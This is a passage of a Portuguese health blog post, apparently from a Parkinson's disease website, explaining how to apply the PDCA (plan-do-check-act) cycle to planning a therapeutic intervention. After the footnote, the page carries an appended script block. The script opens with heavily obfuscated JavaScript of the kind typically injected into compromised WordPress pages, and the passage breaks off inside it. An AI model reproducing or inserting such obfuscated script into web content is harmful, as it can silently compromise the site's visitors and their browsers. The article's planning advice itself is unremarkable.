custar?)<\/p>\n\n\n\n<p>Responder essas perguntas \u00e9 um exerc\u00edcio que vai permitir que voc\u00ea considere as vari\u00e1veis que devem compor o seu plano operacional. Lembre-se da simplicidade; selecione apenas o necess\u00e1rio.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FIGURA_DO_CICLO_PDCA\"><\/span>FIGURA DO CICLO PDCA<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"656\" src=\"https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/08\/Imagem1-1024x656.png\" alt=\"\" class=\"wp-image-286\" srcset=\"https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/08\/Imagem1-1024x656.png 1024w, https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/08\/Imagem1-300x192.png 300w, https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/08\/Imagem1-768x492.png 768w, https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/08\/Imagem1-1536x984.png 1536w, https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/08\/Imagem1-2048x1312.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Inicie sempre pelo que deve ser feito e por qu\u00ea deve ser feito. Descreva as atividades e tarefas que ser\u00e3o realizadas no \u00e2mbito operacional, tais como a identifica\u00e7\u00e3o do paciente, seu hist\u00f3rico m\u00e9dico, a avalia\u00e7\u00e3o inicial, o exame f\u00edsico, a avalia\u00e7\u00e3o funcional, a conclus\u00e3o do diagn\u00f3stico, os objetivos terap\u00eauticos a serem atingidos; a dura\u00e7\u00e3o do tratamento.<\/p>\n\n\n\n<p>Defina os recursos necess\u00e1rios para executar as atividades operacionais. Isso pode incluir recursos humanos, equipamentos, instala\u00e7\u00f5es, mat\u00e9rias-primas, tecnologia, entre outros. \u00c9 importante garantir que os recursos estejam dispon\u00edveis no momento adequado e em quantidade suficiente.<\/p>\n\n\n\n<p>Defina as responsabilidades e atribui\u00e7\u00f5es; quem ser\u00e1 respons\u00e1vel por cada atividade ou tarefa. \u00c9 fundamental designar claramente as responsabilidades para garantir que todas as atividades sejam realizadas de forma eficiente e eficaz. N\u00e3o se esque\u00e7a de avaliar se as compet\u00eancias dispon\u00edveis pelo grupo executor s\u00e3o suficientes ou se algu\u00e9m necessita de treinamento ou capacita\u00e7\u00e3o.&nbsp;<\/p>\n\n\n\n<p>Elabore o cronograma estabelecendo um calend\u00e1rio que descreva o tempo necess\u00e1rio para a execu\u00e7\u00e3o e conclus\u00e3o de cada atividade. O cronograma ajuda a gerenciar o tempo e os prazos, permitindo que a equipe se planeje adequadamente e acompanhe o progresso das tarefas.<\/p>\n\n\n\n<p>Se necess\u00e1rio, defina indicadores de desempenho. Esses indicadores podem abranger aspectos como produtividade, qualidade, efici\u00eancia, satisfa\u00e7\u00e3o do cliente, entre outros. Eles permitem monitorar o progresso e identificar \u00e1reas que precisam ser aprimoradas.<\/p>\n\n\n\n<p>Tamb\u00e9m se necess\u00e1rio, defina um plano de conting\u00eancias com medidas alternativas para lidar com poss\u00edveis imprevistos ou situa\u00e7\u00f5es de crise que possam afetar as opera\u00e7\u00f5es. O plano de conting\u00eancia descreve as a\u00e7\u00f5es a serem tomadas em caso de eventos adversos, como falhas nos equipamentos, escassez de recursos ou interrup\u00e7\u00f5es no fornecimento.&nbsp;&nbsp; Organize os par\u00e2metros selecionados e conclua o planejamento da interven\u00e7\u00e3o terap\u00eautica e o Plano de a\u00e7\u00e3o.<\/p>\n\n\n\n<p>Execute o plano de a\u00e7\u00e3o conforme planejado e colete os dados e resultados da evolu\u00e7\u00e3o e do atingimento dos objetivos terap\u00eauticos e demais objetivos estabelecidos.<\/p>\n\n\n\n<p>As metas foram atingidas? Aconteceu conforme planejado? Caso negativo, identifique as causas b\u00e1sicas desses desvios.<\/p>\n\n\n\n<p>Reavalie o plano de a\u00e7\u00e3o e verifique o que necessita ser replanejado; redefina as metas, se necess\u00e1rio. Execute como foi replanejado dando in\u00edcio a um novo ciclo PDCA.<\/p>\n\n\n\n<p>O que voc\u00ea achou? Parece complicado, mas \u00e9 muito simples desde que voc\u00ea perceba a utilidade de usar o planejamento como recurso permanente para aumentar a efic\u00e1cia e efici\u00eancia de suas atividades.<\/p>\n\n\n\n<p>Se voc\u00ea ainda n\u00e3o se convenceu ent\u00e3o pare um pouco e pense no seguinte: voc\u00ea sabia que o planejamento \u00e9 uma das fun\u00e7\u00f5es executivas que desempenham um papel crucial no nosso pensamento e comportamento di\u00e1rios? As fun\u00e7\u00f5es executivas s\u00e3o habilidades cognitivas que permitem ao indiv\u00edduo realizar atividades como planejar, executar, avaliar e corrigir um plano de a\u00e7\u00e3o, tomar decis\u00f5es e resolver problemas complexos. Na doen\u00e7a de Parkinson h\u00e1 um comprometimento das fun\u00e7\u00f5es executivas do indiv\u00edduo relacionadas ao controle das outras fun\u00e7\u00f5es cognitivas e comportamentais do c\u00e9rebro.<\/p>\n\n\n\n<p>Como palavras finais deixo um desafio para voc\u00ea: procure olhar em volta e verificar quantas vezes voc\u00ea girou o PDCA ao longo do dia em suas atividades cotidianas. Voc\u00ea vai se surpreender como essa pr\u00e1tica \u00e9 importante para n\u00f3s.&nbsp;<\/p>\n\n\n\n<p>Espero que voc\u00eas tenham gostado do texto apesar de seu tamanho.&nbsp;<\/p>\n\n\n\n<p>Aproveitem e at\u00e9 a pr\u00f3xima.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> Caso deseje saber mais sobre estudos do futuro e estrat\u00e9gias das organiza\u00e7\u00f5es, voc\u00ea pode consultar a revista Future studies research journal: trends and strategies 2023 (https:\/\/www.revistafuture.org\/fsrj\/index), editada em ingl\u00eas e dispon\u00edvel tamb\u00e9m em portugu\u00eas, que divulga a produ\u00e7\u00e3o intelectual sobre o assunto para organiza\u00e7\u00f5es de diferentes setores.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return 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